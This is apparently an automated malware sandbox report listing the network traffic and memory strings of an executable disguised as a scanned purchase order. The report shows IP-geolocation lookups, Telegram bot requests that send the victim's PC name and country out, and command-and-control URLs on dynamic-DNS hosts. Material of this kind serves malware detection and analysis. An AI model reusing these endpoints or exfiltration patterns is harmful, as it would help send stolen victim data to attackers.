Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%2025/10/2024%20/%2019:19:15%0D%0ACountry%20Name:%20United%20States%0D%0A[%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%2025/10/2024%20/%2020:37:54%0D%0ACountry%20Name:%20United%20States%0D%0A[%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.kafs.co.ug

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 25 Oct 2024 07:18:19 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 25 Oct 2024 07:18:24 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, HJnkiZjAPsec.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, HJnkiZjAPsec.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kafs.co.ug
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E8D000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kafs.co.ugd
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E8D000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.kafs.co.ug
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E8D000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.kafs.co.ugd
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, HJnkiZjAPsec.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4129429491.0000000000E06000.00000004.00000020.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4144722830.0000000006328000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4145363700.000000000628D000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4129499108.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r11.i.lencr.org/0#
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4129429491.0000000000E06000.00000004.00000020.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4144722830.0000000006328000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4145363700.000000000628D000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4129499108.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.lencr.org0#
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1732669565.0000000003490000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1779228796.0000000002E60000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4130484840.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4144722830.0000000006328000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4145363700.000000000628D000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4129499108.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4130484840.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4144722830.0000000006328000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4145363700.000000000628D000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4129499108.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C87000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20a
Source: HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D95000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D55000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enH
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002EBE000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
